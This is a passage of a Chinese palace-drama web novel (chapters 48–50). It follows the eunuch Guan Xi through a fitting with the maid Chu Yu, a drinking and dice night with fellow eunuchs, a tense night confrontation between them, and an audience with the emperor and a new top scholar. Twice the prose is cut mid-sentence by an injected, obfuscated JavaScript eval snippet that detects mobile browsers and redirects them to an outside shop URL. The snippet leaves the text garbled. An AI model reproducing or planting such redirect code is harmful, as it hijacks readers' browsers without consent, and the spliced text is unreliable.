“带他去量尺寸,裁衣。明日申时前,务必收拾妥当。”冯媛吩咐道,目光在楚玉平静的脸上停留一瞬,又转向关禧,“下去吧。好生准备。” “是,奴才告退。” 47.第 48 章 从西暖阁出来,午后的日光斜斜铺满青石小径,将两人并肩的影子拉得细长。楚玉走在前面半步,不发一语,关禧跟在后面,盯着她裙摆上随着步伐微微晃动的淡青色流苏。 两人穿过一道垂花月亮门,来到承华宫东侧一片相对僻静的院落。这里不似正殿恢弘,也不似西厢拥挤,几间屋子整齐排开,廊下晾晒着些许布料,空气里飘散着淡淡的棉麻气息和皂角清香。这里是承华宫专司针线的宫女们日常劳作和歇息的地方。 楚玉在其中一间屋前停下,推开门。 屋内光线明亮,窗户敞开着,秋风送爽。陈设简单整洁,靠墙是一排木架,上面整齐码放着各色布料,从常见的靛青,鸦青棉布,到稍显贵重的绸缎,暗纹锦,乃至几匹颜色格外沉稳,质地挺括的贡缎,显然就是冯媛方才提及的内造新料子。 屋子中央一张宽大的木案,铺着素色细布,上面散落着剪刀,粉饼,线圈等物,墙角还立着个半人高的木制人台,披着一件未完工的宫装。 这是楚玉平日料理宫务之余,偶尔也会过来亲自督看或动手的地方。 楚玉径直走向那排木架,指尖在几匹深色贡缎上掠过,略一沉吟,放下手里的文书,取下一匹玄青底色隐现同色云纹的,又取了一匹更偏鸦黑,触手生凉的素缎,转身将两匹布放在宽大的木案上。 “把外袍脱了。”她看向跟进来的关禧,语气平静,听不出情绪,就像吩咐一件再寻常不过的差事。 关禧依言解开太监外袍的系带,将外袍脱下,小心叠放在一旁的凳子上。里面是同样浆洗得干净的月白中衣,因是秋日,略厚实些,但仍能隐约勾勒出少年清瘦的肩背轮廓。 楚玉已从木案抽屉里取出一卷泛黄的软尺,那软尺用得久了,边缘有些磨损。她走到关禧面前。 两人距离瞬间拉近。 关禧甚至能看清她低垂的眼睫,能闻到她身上那股清冽的气息,混杂着屋内淡淡的布料和阳光味道,丝丝缕缕地萦绕过来。 “抬手。”楚玉的声音近在咫尺。 关禧慢慢抬起双臂,平伸。 楚玉捏着软尺的一端,从他左肩胛骨最凸起处开始,将软尺拉过背部,至右肩胛骨。她的指尖不可避免地擦过关禧颈后裸露的一小片皮肤。 关禧的身体颤了一下,喉结滚动。 楚玉恍若未觉,垂眸看着软尺上的刻度,低声报出一个数字,随即用笔记在案上一张空白纸笺上。 接着是肩宽。软尺从左肩外侧量到右肩外侧。楚玉的手臂几乎环过他的肩膀,两人之间的距离更近,关禧能感觉到她衣袖轻蹭过自己的手臂,也能看到她额角一丝不苟的发际线,和抿得有些紧的唇线。 胸围。软尺从腋下环绕胸口一周。楚玉的手臂从他身前绕过,为了确保软尺水平,她的手指按在他胸前中衣上,调整位置。隔着单薄的布料,那指尖的微凉和力道清晰地传递过来。关禧的心跳不受控制地加快,胸腔起伏,他能看到楚玉近在眼前低垂的眉眼,和她蹙起的眉心,或许只是在专注读数。 腰围。软尺环过腰间最细处。楚玉的手再次绕过他的身体,这次停留的时间稍长,在确认位置。关禧的腰肢紧窄,少年人的骨架尚未完全长开,又因近期的调养和活动,覆上了一层薄而柔韧的肌理。楚玉的指尖隔着中衣布料,无意地按了按他侧腰的线条,又迅速移开。 关禧屏住了呼吸,耳根悄然发热。 臀围,腿长,袖长……一项项数据被仔细测量,记录。楚玉的动作专业,没有任何多余的触碰,但每一次软尺的环绕,每一次指尖的调整,都在沉默中放大着两人之间那份难以言说的尴尬和暗涌。 关禧像个木偶般任由摆布,只有越来越乱的呼吸和僵硬的身体,泄露着他内心的波澜。 他必须说点什么,打破这令人窒息的寂静。否则,那些刻意被压下的画面,西暖阁的暖香,紧密的纠缠,失控的喘息,又会不受控制地翻涌上来。 眼看楚玉量完袖长,正要去取另一条软尺测量更细节的尺寸,关禧喉结滑动了一下,声音有些发干地开口: “这些料子很贵重吧?给小的做衣裳,会不会太浪费了?”他找了个最安全的话题。 楚玉正拿起软尺的手一顿,抬眼瞥了他一眼,眼神平静:“娘娘既赏了,便自有娘娘的道理。御前行走,衣着体面是起码的规矩,也关乎承华宫的颜面。这匹玄青,稳重又不失纹理,适合日常御前伺候。那匹鸦黑素缎,夜间当值或陛下有特殊传唤时穿着,更显沉静。” 她竟解释了两句,虽然语气还是公事公办。 关禧“哦”了一声,视线落在她拿着软尺的手上,那手指白皙纤长,指甲修剪得干净整齐,指腹和虎口处有细微的薄茧,是常年做针线或执笔留下的痕迹。他又想起这双手,在暖阁里曾如何抚过他的身体,带来颤栗与灼热。 他强迫自己移开视线,目光扫过木架上其他布料,没话找话:“这些……都是姐姐平日里打理?” “嗯。宫中份例,各季衣裳,主子的常服,有些需要改动或添补的,都经这里。”楚玉一边说着,一边示意关禧抬起一只脚,用软尺从脚跟量到裤脚预定位置,动作自然流畅。 关禧单脚站着,有些摇晃,下意识伸手扶了一下旁边的木案。 楚玉量完,直起身,目光掠过他扶在案上的手,没说什么,记下新量的数据。 尺寸很快量完了。楚玉收起软尺,将记录着密密麻麻数字的纸笺仔细叠好。 屋内再次陷入沉默,只有窗外偶尔传来的鸟鸣。 关禧看着楚玉垂眸整理纸笺的侧脸,夕阳的余晖透过窗棂,给她清冷的轮廓镀上了一层柔和的金边,也让那份疏离感更加分明。 “楚玉,”他唤她,声音比刚才更低,“那天晚上之后,你还好吗?” 话一出口,他就后悔了。这问题太蠢,也太逾越。可他控制不住,他想知道,那晚对她而言,是否也留下了什么,哪怕是厌恶,是后悔。 楚玉整理纸笺的动作停住了。 她抬起眼,看向关禧,“那晚的事,我已经说过了,忘掉。对你,对我,都是最好的选择。” “衣裳我会尽快让人赶制,明日申时前会送到你屋里。”她转身,开始收拾案上的布料和工具,动作利落,声音恢复了惯常的平稳,“回去吧。别忘了娘娘的嘱咐,也别忘了你明日该去的地方。” 逐客令下得明白。 关禧站在原地看着她忙碌的背影,胸口闷闷的,像堵了一团湿棉花。他知道,再多说也无益。那晚的意外,就是投入深潭的石子,激起的涟漪终会散去,而深潭本身,依旧冰寒彻骨,深不见底。 他默默拿起凳子上叠好的外袍,套上,系好衣带。 “那我先回去了。”他低声道,声音有些涩。 楚玉没有回应,重新卷好一匹布,放回木架。 关禧转身,走到门口,手搭在门框上,最后回头看了一眼。 楚玉恰好也在此时微微侧身,去取木案另一头的剪刀,侧脸被夕阳勾勒出明晰而清冷的线条,几缕碎发从鬓边垂落,随着她的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034973|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻晃动。 两人的目光在弥漫着布料气息和金色光尘的空气里,有一瞬极短的相接。 关禧迅速收回视线,迈步出门,反手带上了房门。 门扉合拢的轻响之后,屋内重归寂静。 楚玉放下剪刀,走到窗边,望向关禧身影消失的月亮门方向,指尖无意识地捻着袖口,那里似乎还残留着方才测量时少年衣物下温热肌理的触感,以及他问出那句“你还好吗”时,眼中清晰映出不属于小离子的关切与惶然。 夕阳沉得更低了,将她的影子长长地投在地上,孤单而料峭。 楚玉闭了闭眼,再睁开时,眸中所有情绪已尽数收敛,只剩下深潭般的沉静。 她走回木案边,拿起那张记录着尺寸的纸笺,指尖拂过上面一个个数字,然后,她铺开那匹玄青云纹的贡缎,提起粉饼,开始按照尺寸,利落地在上面划下裁剪的线条。 * 关禧回到自己那间位于西厢尽头的小屋时,日头已经完全沉下去了,天边只余一抹暗紫的霞光,承华宫各处渐次点起了灯。 远远地,他就看见自己那扇单薄的木门前,影影绰绰地聚着好几个人影。 是刘宝,还有旁边几个平日也算脸熟,但谈不上交情的太监。他们手里竟还提着东西,两个粗陶酒坛子,油纸包着的不知什么吃食,隐隐飘出卤味和油炸花生的香气。 “哎哟!离子兄弟!你可回来了!等得咱们好苦!”刘宝眼尖,第一个迎上来,热络地道,“这一下午在乾元殿伺候,辛苦了吧?咱们兄弟几个一合计,特意备了点薄酒小菜,给离子兄弟你接风洗尘,压压惊!也沾沾你的喜气!” 旁边一个瘦高个,关禧记得他叫来喜,也在书斋外围做些洒扫,此刻也帮腔道:“是啊离子哥,你可不知道,你今儿个一去,咱们承华宫可是面上有光!连带着咱们这些苦哈哈的,走出去腰杆都直了些!说什么也得庆贺庆贺!” 另一个矮胖些,叫福安的太监直接把手里的油纸包举了举,嘿嘿笑道:“王老勺私下藏的卤猪头肉,还有炸得酥脆的花生米,下酒可是一绝!离子哥,给个面子?” 在这深宫里,太监们私下聚饮赌钱并不稀奇,只要不闹大,不被上头主子抓住,管事的太监往往也睁只眼闭只眼,算是苦闷生涯里一点可怜的消遣。显然,如今在这些人眼里,关禧已不再是那个可以随意忽视甚至欺辱的小离子,而是值得拉拢,甚至需要讨好的红人了。 对着这些过于直白的热情,关禧只觉得疲惫,只想尽快一个人待着,他下意识地想拒绝:“各位公公好意心领了,只是今日实在有些乏了,且明日还需早起……” “诶!离子兄弟这就见外了不是?”刘宝立刻打断,声音压低,“乏了才更要喝两口解解乏!明日的事明日再说嘛。咱们也不去别处,就去福安他们屋里,地方僻静,门一闩,神不知鬼不觉。就小酌几杯,说说话,绝不耽误你歇息!兄弟们也是真心替你高兴,想跟你亲近亲近。” 他这话说得圆滑,既点明了安全,又强调了亲近之意。关禧若执意拒绝,不但显得不识抬举,恐怕还会立刻落下话柄,被说成是得了势就瞧不起旧人。 在这深宫底层,有时候这种人言可畏,比明刀明枪更麻烦。 关禧抬眼扫过这几张在昏黄光影下显得有些模糊的脸,刘宝的殷切,来喜的附和,福安手里油纸包散发出的诱人卤香……最终,他点了下头:“那就……叨扰各位公公了。” “这才对嘛!”刘宝一拍大腿,喜笑颜开,“走走走,福安屋里宽敞!” 48.第 49 章 一行人簇拥着关禧,穿过西厢狭窄的巷道,来到靠里一间稍大些的屋子。 推门进去,屋里已经点了一盏油灯。 屋子比关禧那间大上一圈,靠墙一溜大通铺,铺盖卷都叠得整齐,中间空地摆着一张旧方桌和几个矮凳,桌上已经摆了几个粗瓷碗。 福安和来喜手脚麻利地把油纸包打开,卤猪头肉切成薄片,油光红亮,花生米金黄酥脆,又变戏法似的摸出几个干硬的面饼。刘宝拍开酒坛的泥封,一股浓烈的酒气弥漫开来,他给每个碗里都倒上小半碗浑浊的酒液。 “来!离子兄弟,坐上位!”刘宝不由分说地把关禧按在方桌一侧看起来稍好些的凳子上,自己和其他人挤在对面和两旁。 几碗酒下肚,屋内的气氛很快热络起来。酒精和油荤能最快地剥去人脸上那层谨小慎微的皮。刘宝话最多,先是又把关禧在御前得脸的事吹捧了一番,接着便开始抱怨差事的繁琐,抱怨某个管库房的老太监抠门,抱怨膳房的伙食越来越差。 来喜和福安附和着,话题渐渐从抱怨转向了各宫的八卦。 “听说玉芙宫那位,这几日吐得昏天暗地,太医署的人跑断了腿,什么稀奇古怪的方子都试了,还是不见好。”来喜抿了口酒,咂咂嘴。 “金贵呗!”福安啃着猪头肉,含糊道,“肚子里揣着龙种,可不得使劲折腾?赏赐流水一样进去,我有个同乡在御膳房帮工,说光给她一个人开的滋补小灶,就占了一个灶眼,日夜不停。” 刘宝嗤笑一声,压低声音:“再金贵也得有命享。我听说啊,皇后娘娘那边,这些日子往永寿宫跑得可勤快了,太后老人家最近念佛的时候都比往常多了一炷香呢。” 这话里的机锋,让关禧捏着酒碗的手指收紧,他垂着眼,小口啜着那辛辣呛喉的劣酒,并不插话,只安静地听。 “可不是嘛,”来喜也压低了嗓子,“上头的事,咱们摸不着边,但看着吧,这后宫啊,迟早还得起风浪。咱们这些做奴才的,眼睛放亮些,腿脚勤快些,总没错。”他说着,意有所指地看了关禧一眼。 关禧只当没看见,夹了一粒花生米放进嘴里慢慢嚼着。 酒过三巡,刘宝显然觉得光说话不够尽兴,眼珠子一转,从怀里摸出个小布包,哗啦一声倒在桌上,是几十个磨得发亮的铜钱,还有几块碎银子。 “光喝酒有什么意思?来来来,离子兄弟,咱们玩两把小的,助助兴!”刘宝搓着手,脸上泛着酒意的红光,“就玩最简单的,押大小,骰子我这儿有!”他又摸出几颗灰扑扑的骨质骰子。 赌钱,在这深宫底层太监中,确实是常见的娱乐,甚至是一种重要的社交和利益交换方式。关禧心里警铃微作,他不想沾这个,尤其在眼下这个敏感的时候。 “我不太会这个……”关禧推辞。 “不会才要学嘛!简单得很!”福安也来了劲,把自己的钱袋子也掏了出来,“离子哥你今天运气肯定旺!跟着你押准没错!小玩两把,不伤和气!” 几个人连劝带拉,关禧被架着,无奈,只得象征性地掏出几个铜钱放在面前。刘宝熟练地把骰子扣在一个缺了口的粗陶碗里,哗啦啦摇得山响,然后“砰”地扣在桌上。 “买定离手!离子兄弟,你先押!” 昏暗的灯光下,几张带着酒意和贪婪兴奋的脸凑在一起,紧盯着那只破碗。关禧随手把两个铜钱放在大的位置。其他人纷纷下注,有跟关禧押的,也有反着押的。 碗掀开,四五六,十五点大。 跟押的来喜和福安欢呼一声,刘宝笑着说了句“离子兄弟果然手气壮”,爽快地赔了钱。关禧面前多了两枚铜钱。 接下来几把,关禧有意无意地乱押,有输有赢,面前的钱数变化不大。他心思并不在赌局上,更多的在观察。他注意到刘宝摇骰子的手势有些特别,骰子落定的声音也总在某个点数附近,注意到来喜每次下注前都会偷偷瞥一眼刘宝的神色,注意到福安输了几把后,脸上虽然还笑着,但眼神里已经多了些焦躁。 这小小的赌局,也是一个小小的权力场和情报站。 又玩了几把,关禧借口酒意上涌,实在乏了,将面前赢来的几个铜钱都推了回去:“今日承蒙各位公公盛情,这些小钱,就当请各位公公喝碗茶。我实在不胜酒力,明日还要当值,就先回去了。” 刘宝等人见他态度坚决,脸色确实也有些泛红,便不再强留,只是又说了许多“往后多亲近”“有事尽管开口”的客气话,簇拥着把他送到门口。 走出那间弥漫着酒气的屋子,关禧深深吸了一口秋夜清冷的空气,才觉得胸口那股郁结稍微散开些。 回到那间漆黑的小屋。 一股异样的气息便混杂着秋夜的凉意扑面而来,冲散了他身上沾染的劣酒和卤肉味道。 不是他屋里惯有的平淡气味。 是一种更馥郁,带着些许暖意的馨香。像是某种名贵的香料余韵,又像是被精心熏染过的织物在封闭空间里缓缓释放的味道。这味道与他这小屋的简陋格格不入,又隐隐有些熟悉,是冯昭仪常用的,后来似乎也出现在西暖阁那批新制衣料上的熏香。 他动作顿在门口,心脏没来由地一缩。目光在黑暗中急急扫过。 窗外无月,只有远处廊下气死风灯透进来的微弱昏光,勉强勾勒出屋内模糊的轮廓。 床铺是平整的,桌上多了个方方正正的物件。然后,他的视线凝固在桌边。 那里,一个模糊的人影,正安静地坐在他平日坐的那张旧木凳上。 身影纤细,背脊挺直,即使在黑暗中也透着一股刻意收敛的存在感。 是楚玉。 关禧的呼吸滞了滞,酒意带来的些微混沌和放松瞬间被警惕取代。她怎么会在这里?这个时辰?还这样悄无声息地坐在黑暗中? 他反手掩上门,将最后一点外界的光线也隔绝在外,屋内彻底陷入一片沉暗,只有两人的呼吸声隐约可闻。 “回来了?”楚玉问。 关禧没有立刻回答,他凭着记忆摸到桌边,找到火折子。“嚓”一声轻响,幽蓝的火苗腾起,照亮了他有些泛红的脸和蹙起的眉头。 他点燃了桌角那盏小油灯。 昏黄的光晕漾开,驱散了一角黑暗。 楚玉的身影清晰起来。她穿着白日那身淡青色宫装,发髻纹丝不乱,脸上没什么表情,只有一双眼睛在灯下显得格外幽深,正静静地看着他。她面前的桌上,整齐叠放着两套崭新的太监服,正是下午量过尺寸的料子所制,玄青云纹和鸦黑素缎,在灯光下泛着内敛的光泽,旁边还有一个扁平的锦盒。 她是来送衣服的。但这绝不是她深夜枯坐于此的全部理由。 “嗯。”关禧应了一声,盖好火折子放下,目光扫过那两套华贵得与他这小屋极不相称的新衣,又落回楚玉脸上,“有劳楚玉姐姐亲自送来。这么晚,姐姐还没歇息?” 这话带着客套的疏离,也有一丝不易察觉的质问,为何不放下衣服就走?为何要这样等他? 楚玉仿佛没听出他话里的意味,她的目光在他脸上停留片刻,鼻翼翕动了一下,然后,那双深褐色的眸子更沉了些。 “去喝酒了?”她问,不是猜测,而是陈述。空气里还未散尽的淡淡酒气,衣物上沾染的烟熏火燎和油腻味道,瞒不过她的鼻子。 关禧心头掠过一丝烦躁,那种被窥视,被评判的感觉又来了。他扯了扯嘴角,语气也硬了些:“刘宝他们一番盛情,推脱不过。小酌了几杯,让姐姐见笑了。” “小酌?”楚玉的唇角弯起一个极淡的弧度,却没什么笑意,“跟刘宝、来喜、福安他们?在福安的屋子里,就着卤肉花生,赌了几把铜钱骰子?” 她每说一句,关禧的脸色就沉下一分。她知道得如此清楚,显然不是猜的,要么是有人盯着他报了过去,要么就是她对他离开后的行踪了如指掌。这种无所遁形的感觉,让刚刚经历完乾元殿紧张和同僚阿谀的他,感到格外不耐。 “姐姐耳目灵通。”关禧的声音冷了下来,“不过是底下人寻常的交际应酬,怎么,这也犯了娘娘的忌讳,或是碍了姐姐的眼?” “交际应酬?”楚玉重复了一遍,语调平直,“在你明日还要去御前伺候的时候?在你刚刚得了娘娘青眼,无数人盯着你错处的时候?小离子,你是真觉得刘宝那几碗劣酒、几句奉承,是真心实意为你庆贺?” 她站起身,走近一步。 “他们是在试探你,拉拢你,也想从你这里套话,更想看看你这骤然得势的新贵,是不是个能被几杯黄汤、几句好话就糊弄住的蠢货!你知不知道,今晚你们屋里说的每一句关于玉芙宫、关于皇后、关于太后的闲话,明天就可能变成别有用心之人手里的刀子?赌钱?宫里明令禁止太监聚赌,尤其是涉及银钱输赢!一旦被人拿住,你就是现成的把柄!” “那又如何?”关禧抬起眼,直视着楚玉,眼中因为酒意和情绪而泛起些微血丝,“我不过是个微不足道的小太监,得了陛下一次传唤,就活该被所有人盯着,连口酒都不能喝,连句话都不能说?楚玉,你到底是以什么身份来管我?冯昭仪的大宫女?教导我规矩的姐姐?还是……” 他顿住了,后面的话在舌尖滚了滚,终究因为那晚暖阁的禁忌和眼前人冰冷的神色而咽了回去。 楚玉看着他这副油盐不进,甚至带着刺的样子,胸口一堵。她知道他压力大,知道他不甘,知道他对前路的恐惧。可她更知道,这一步行差踏错,可能就是万丈深渊。 “我以什么身份不重要。”她退后半步,拉开距离,指了指桌上那两套新衣和锦盒,“娘娘赏你的衣服,明日申时前务必换上这套玄青的。锦盒里是配套的腰带和荷包,也是按制新做的。御前行走,代表的是承华宫的体面,也是你自己的性命。” 她顿了顿,语气缓和了些:“酒,醒了就罢。话,从今往后掂量清楚再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039051|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。人,更要看清楚远近亲疏。刘宝之流,可以敷衍,不可交心。在这宫里,能让你活下去的,从来不是那些廉价的奉承和酒肉朋友。” 说完,她不再看关禧的反应,转身朝门口走去。 在她的手触碰到门闩时,关禧的声音在身后响起: “那你呢,楚玉?你算我的远近亲疏?” …… “我?” “我只是奉娘娘之命,确保你这枚棋子,在落到该落的棋盘上前,别先把自己摔碎了。” 门被拉开一道缝隙,秋夜的冷风立刻钻了进来,吹得油灯火苗猛烈摇晃,将两人投在墙上的影子拉扯得扭曲变形。 楚玉的脚步已经踏出了半步,那抹淡青色的衣角即将融入门外无边的黑暗。 就在这一瞬。 关禧动了。 他几步冲上前,在楚玉即将完全踏出门槛的刹那,从背后,伸出双臂,紧紧箍住了她的腰身。 楚玉整个人都僵住了。 关禧却不管不顾。他把脸深深埋进楚玉颈后散落的发丝间,嗅到她身上那股熟悉的清冽气息,混合着新衣的熏香,还有一丝极淡的冷香。这气息让他眼眶发酸,喉咙发紧,那些翻腾了一整日,甚至更久的话,不管不顾地冲口而出: “棋子……同谋……楚玉,你别拿这些话搪塞我!”他手臂收紧,仿佛要将她嵌进自己怀里,“我只问你,我们现在到底算什么?” “按照我……按照我知道的,两个人像我们那晚那样了之后,难道不该算是在一起了吗?算得上……是对象了吧?你告诉我啊,楚玉!” 对象这个词,从他嘴里说出来,带着一种与这个时代,这个宫廷格格不入的天真,却恰恰击中了他灵魂深处最真实的渴望,一个来自二十一世纪,性别认知为女的高中生,在经历了最亲密的□□纠葛后,对情感归属近乎执拗的求证。哪怕顶着太监的皮囊,哪怕身处绝境,她也想要一个名分,一个确认,哪怕只是口头上的,来锚定这份混乱关系中唯一一点属于关禧的真实。 楚玉垂在身侧的手,几不可察地抖了一下。她能感觉到背后少年胸膛传来的剧烈心跳,能感觉到他呼吸喷在自己颈侧的灼热,也能听出他话语里那份孩子气的委屈和执着。 对象……在一起…… 这些词像烧红的针,刺破了她层层包裹的冰冷外壳,触及内里连她自己都不敢深究的隐秘角落。那晚西暖阁的暖香,汗水,纠缠,失控……所有画面伴随着他此刻滚烫的拥抱和颤抖的质问,再次汹涌而来。 有那么极其短暂的一刹那,她几乎要沉溺在这份不合时宜的温暖和直白里。深宫长夜,寂寞如刀,谁不渴望一点真实的触碰,一点明确的念想? 但仅仅是一刹那。 这里是承华宫,她是冯昭仪的心腹宫女,他是即将被献给皇帝的礼物。那晚是意外,是教导,是错误,是必须被遗忘的污点。任何超出界限的情感,都是致命的毒药,会毁了他,更会毁了她。 “松手。” 关禧没动,手臂收得更紧,执拗地等着一个答案。 楚玉的声音更冷,像淬了冰:“小离子,你看清楚,也听清楚。这里是大晟后宫,没有什么在一起,更没有什么对象。只有主子,和奴才。只有有用,和没用。” 她微微偏过头,余光能瞥见他埋在自己肩头,黑发的头顶,心口某处尖锐地疼了一下,话语却越发锋利:“那晚的事,是你必须学的差事,是我必须完成的教导。仅此而已。你若非要从中找什么特别的意义,那只能说明你蠢,蠢到连自己的处境都看不明白。” “你以为,凭你这点心思,这点……与众不同,就能改变什么?就能让我,或者让这皇宫的规矩,为你破例?”她嗤笑一声,那笑声凉薄,“别忘了,你明天要去的是乾元殿,要见的是陛下。你现在该想的,是怎么活着从御前回来,而不是在这里,抱着一个宫女,问这些可笑的问题。” 每一个字,都像一把钝刀子,慢慢切割着关禧紧绷的神经和那点可怜的期望。 他抱着她的手,力气一点点流失。 楚玉感觉到了他的松动,继续用那种平静到残忍的语气说:“放开我。然后,把眼泪擦干,把脑子清醒。记住你的身份,记住你该做的事。若你再这样不分轻重,不知死活……” 她终于说出了最重的话:“不用等别人动手,我会亲自把你绑了,送到慎刑司去。至少那样,还能死得痛快些,不至于牵连旁人。” “牵连旁人”四个字,像最后一记重锤,狠狠砸在关禧心上。他松开了手,踉跄着向后退去,背脊撞在桌沿上,发出“咚”的一声闷响。 “衣服在这里,明日记得换上。”楚玉最后看了一眼桌上那两套华贵的新衣,目光扫过关禧苍白的脸,没有丝毫停留,转身,决绝地迈出了门槛,身影迅速被门外的黑暗吞噬。 “咔哒。” 门被从外面轻轻带上,隔绝了内外。 49.第 50 章 次日,天未大亮,承华宫西厢尽头那间小屋的门便被推开。 关禧站在门口,身上已换上了楚玉昨夜送来的那套新衣,玄青云纹的贡缎太监服。料子挺括垂顺,针脚细密匀称,裁剪得极其合身,恰到好处地勾勒出少年抽长清瘦的骨架,又因那沉稳的玄青色与暗浮的云纹,凭空压住了几分过于精致的容貌可能带来的轻浮感,反衬得他肤白如玉,眉眼沉静,通身上下透着一股与这低等太监身份不甚相符,内敛而疏冷的气度。 他对着屋内那面模糊的铜镜最后整理了一下腰间的腰带,楚玉连这个细节都备好了,与衣衫同料,扣头是简洁的乌木,毫无装饰。 镜中人影朦胧,唯有那双眼,因为彻夜未眠而染着淡淡的血丝。 昨晚楚玉的话,字字诛心,却也字字在理。 棋子,就要有棋子的自觉。 他不再看镜中的自己,转身,带上门。门外清晨的空气带着露水的微凉,吸入肺腑,让他混沌的头脑清醒了几分。 申时初刻,关禧准时出现在乾元殿前。 依旧是那位眉眼细长的高阶太监引他入内。殿内陈设如昨,龙涎香的气息沉甸甸地弥漫着。 萧衍今日心情不错,正站在御案旁,负手看着墙上悬挂的一幅新裱好的《寒江独钓图》,画意苍茫孤寂,正是前朝某位隐士的手笔。 听到通传,萧衍并未回头,只淡淡“嗯”了一声。 关禧默默走到酸枝木小几旁,挽袖,注水,取墨,开始研磨。动作比昨日更稳,更静,与这殿宇的沉寂融为一体。 萧衍欣赏了片刻画作,才缓步踱回御案后坐下,目光掠过关禧研磨的手,在他身上那套崭新的玄青贡缎服上停留了一瞬,唇角弯了一下,似有若无。 “今日倒很齐整。”他随手翻开一本奏章。 关禧垂首:“谢陛下。” 殿内再次只剩下朱笔划过纸面的沙沙声,和墨锭与砚台极细微的摩擦声。时间在一种异样的平静中流逝。 约莫一柱香后,殿外传来通传:“启禀陛下,新科状元,翰林院修撰桑连云桑大人,奉旨觐见。” 萧衍笔尖未停,只道:“宣。” 关禧研磨的动作顿了一下,随即恢复如常。新科状元?翰林院修撰?桑连云?这个名字和头衔,显然不属于他恶补过的后宫或内侍体系。 殿门开合,一道清越的身影踏入殿内。 来人穿着从六品翰林官的青色官袍,身形颀长,步履从容。他行至御前,躬身行礼,声音清朗如玉磬相击:“微臣桑连云,叩见陛下。” “平身。”萧衍这才搁下笔,抬眼看过去,脸上带着一丝难得的温和笑意,“赐座。桑卿来得正好,朕新得了一幅前朝林泉子的《寒江独钓图》,正想听听你这状元郎的见解。” 桑连云谢恩起身,侧身在一旁太监搬来的绣墩上坐下,这才抬眼,目光先是恭谨地掠过御案,随即自然地转向墙上那幅画。就在他视线移动的途中,不可避免地,看到了御案侧前方,那个正垂首研墨的玄青色身影。 只一眼,桑连云的瞳孔便微微一缩。 那是个太监,看服色品阶极低,不过是个寻常内侍。可那身量,那低垂的侧脸轮廓,那身过于合体甚至显出一种冷清贵气的玄青贡缎……尤其是那份与这御前庄严场合格格不入,又奇异地融入了这沉寂气氛的沉静气质,让他心头掠过一丝极淡的异样。 但他很快收敛心神,将注意力转回画上,开始从容点评画作的笔法,意境,题跋钤印,言辞清雅,见解独到,显然深谙此道。 萧衍听着,时而点头,时而问上一两句,气氛颇为融洽。桑连云不愧是新科状元,才思敏捷,应对得体,君臣奏对间,隐隐有几分知音相得的意味。 关禧始终保持着研磨的姿势,眼观鼻,鼻观心,对殿内的交谈充耳不闻。 只是,那位状元郎的目光,偶尔会似不经意地扫过关禧所在的方向,那目光里没有恶意,却有一种居高临下的审视,一种属于清贵文士对阉宦之辈天然的疏离。 萧衍自然也察觉到了。 果然,在品评完画作后,萧衍话锋一转,语气带上了几分难以捉摸的意味:“桑卿才情冠绝今科,风姿亦为京都所称道。连朕那妹妹安宁,前几日在宫里见了桑卿一面,回去后也跟朕念叨了好几次,说桑状元濯濯如春月柳,是难得的清华人物。” 桑连云心头一跳,立刻起身,躬身道:“公主殿下谬赞,微臣愧不敢当。微臣寒窗十载,唯知忠君报国,勤勉王事,不敢有丝毫他想。”这话答得巧妙,既谦逊,又隐隐划清了界限。 萧衍笑了笑,摆摆手示意他坐下:“桑卿不必紧张,安宁年纪小,不过是小孩儿心性,随口一说罢了。”他顿了顿,目光随意地扫过关禧,又落回桑连云身上,语气悠然地补充道,“不过,这世间出众的人物,总是不缺的。桑卿说是吗?” 这话就有些意味深长了。桑连云心思何等玲珑,立刻明白,皇帝这是在借题发挥。公主或许真有其意,但皇帝此刻提起,恐怕醉翁之意不在酒。他顺着皇帝的目光,再次看向那个研墨的太监。 这一次,他看得更仔细了些。 少年太监低着头,只能看见挺直的鼻梁,长而密的睫毛在眼下投出淡淡的阴影,肤色是久不见天光的冷白,在玄青衣领的映衬下,有种瓷器的质感。最引人注目的是那双手,手指修长匀称,握着深色墨锭,动作不急不缓,竟透着一种韵律感。 抛开那身太监服和卑微的姿态,单论这副皮相骨相,确是他生平仅见。甚至……比自己这张被赞为春月柳的脸,还要精致上三分,只是那精致里,透着一股子冰封的冷冽,少了文人推崇的温润书卷气。 一股极淡的不服气,混合着文人固有的清高和对阉人的鄙薄,悄然涌上桑连云心头。陛下此言,莫不是暗示,宫中亦有如此出众人物,且随时可以替代?用一个太监来类比他这新科状元? 他微微一笑,重新看向萧衍:“陛下所言极是。天地钟灵毓秀,人物各擅胜场。只是,”他话锋微转,目光再次掠过关禧,笑意清浅,“皮相之美,终是流于表面。我辈读书人,更重风骨才情,胸怀锦绣。否则,空有一副好皮囊,内里却是草莽,岂不辜负了这副好相貌,也……徒惹人笑。” 这话就说得相当直白,甚至有些刻薄了。直接将关禧定性为空有皮囊,内里草莽的绣花枕头,更是暗讽其太监身份,不配与士林才俊相提并论。 殿内空气凝滞了一瞬。侍立在一旁的高阶太监眼观鼻鼻观心,仿佛什么都没听见。 萧衍脸上的笑容淡了些,手指在御案上轻轻敲击着,语气平淡地问:“小离子,桑状元此言,你以为如何?” 压力骤然给到了关禧。 桑连云也侧目,看向那个一直沉默的背景板,想看看这卑贱阉人,面对如此直接的贬损,会是何等的惶恐失措或强作镇定。 关禧停下了研磨的动作。 